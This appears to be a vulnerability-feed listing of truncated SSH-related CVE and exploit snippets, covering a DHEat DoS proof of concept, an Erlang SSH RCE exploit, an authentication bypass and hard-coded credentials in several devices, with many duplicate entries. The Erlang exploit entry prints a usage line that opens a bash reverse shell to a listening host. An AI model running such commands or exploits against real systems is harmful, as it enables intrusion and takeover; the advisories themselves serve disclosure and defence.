dheat_dos_attack_poc

DHeat DoS Attack POC CVE-2002-20001 POC for Testing the Existence of DHEat DOS Attack for CVE-2002-20001 in SSH Service Usage command: python3 dheatdosattackpoc.py : Replace with the actual IP address or hostname of the SSH server you have permission to test. : Target Port number running SSH...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

cve-2026-86060

CVE-2026-86060 — MikroTik RouterOS SSH 인증 전 권한 상승을 통한 완전한 관리자 제어 필드| 값 ---|--- CVE| CVE-2026-86060 제품| MikroTik RouterOS SSH 서비스 영향받는 버전| RouterOS 6.x 및 7.0.0 – 7.23.3 포함 수정된 버전| RouterOS 7.23.4 및 이후 취약점 유형| 인증 전 권한 상승 인증 우회 / 접근 제어 결함 공격 벡터| 원격, 비인증, SSH 서비스를 통한 공격 사전 조건| 없음 — 자격 증명, 사용자 상호작용, 로...

CVE-2018-10933

CVE-2018-10933 - SSH Authentication Bypass PoC Description CVE-2018-10933 is an authentication bypass vulnerability in the server-side implementation of libssh. The flaw allows an attacker to send a SSH2MSGUSERAUTHSUCCESS message without any prior authentication, gaining unauthorized access...

Exploit for CVE-2026-86060

CVE-2026-86060 — MikroTik RouterOS SSH Pre-Authentication Priv...

EUVD-2026-70868

SmartIT Desktop Manager developed by Lightstar has a Use of Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the SSH service account credentials and passwords for the SmartIT Agent directly from the application source code...

CVE-2026-85146: Use of Hard-coded Credentials

SmartIT Desktop Manager developed by Lightstar has a Use of Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the SSH service account credentials and passwords for the SmartIT Agent directly from the application source code...

CVE-2026-20177

CVE-2026-20177 is a denial-of-service vulnerability in Cisco Industrial Ethernet (IE) 1000 Series Switches , caused by insufficient protection against management plane flooding attacks. An unauthenticated, remote attacker can exploit this by sending a high rate of ICMP, SSH, or HTTP traffic to th...

CVE-2026-19750

CVE-2026-19750 affects Tenda CH, CP, and TX3 devices running 21.x–27.x firmware where the SSH component contains a hard-coded password. The issue allows remote exploitation of an unknown SSH functionality, with the exploit publicly available. The CVSS assessments indicate high severity (up to 9.2...

CVE-2026-67614 CyberPanel < 3.0.0 Hard-coded JWT Secret Authentication Bypass via WebTerminal

CyberPanel before 3.0.0 contains a hard-coded JWT secret vulnerability in the WebTerminal FastAPI SSH service that allows unauthenticated remote attackers to forge valid authentication tokens and obtain an interactive root shell via WebSocket on port 8888. Attackers can craft a forged JWT signed...

CVE-2026-67614: Use of Hard-coded Credentials

CyberPanel before 3.0.0 contains a hard-coded JWT secret vulnerability in the WebTerminal FastAPI SSH service that allows unauthenticated remote attackers to forge valid authentication tokens and obtain an interactive root shell via WebSocket on port 8888. Attackers can craft a forged JWT signed...

PT-2026-71873

A flaw has been found in Tenda CH, CP and TX3 V21.x/V22.x/V25.x/V26.x/V27.x. Affected by this issue is some unknown functionality of the component SSH. Executing a manipulation can lead to use of hard-coded password. It is possible to launch the attack remotely. The attack requires a high level o...

CVE-2025-13293

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

CVE-2025-13293

The affected product is TBEA TLogger with version 2.1.0.0B0.0.0.0. A hard-coded/default root credential allows an unauthenticated remote attacker to gain root access via the exposed SSH service. The root password can be recovered from the hash in /etc/shadow and used to authenticate to SSH, yield...

CVE-2025-13293 Backdoor / default root credentials

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

CVE-2025-13293

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

EUVD-2025-210666

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

CVE-2025-13293 Backdoor / default root credentials

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

CVE-2025-13293: Use of Hard-coded Credentials

A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticat...

PT-2026-69925

Name of the Vulnerable Software and Affected Versions TBEA TLogger version 2.1.0.0B0.0.0.0 Description A hard-coded or default root account credential allows an unauthenticated remote attacker to gain root-level access to the device through the exposed SSH service. The root password can be...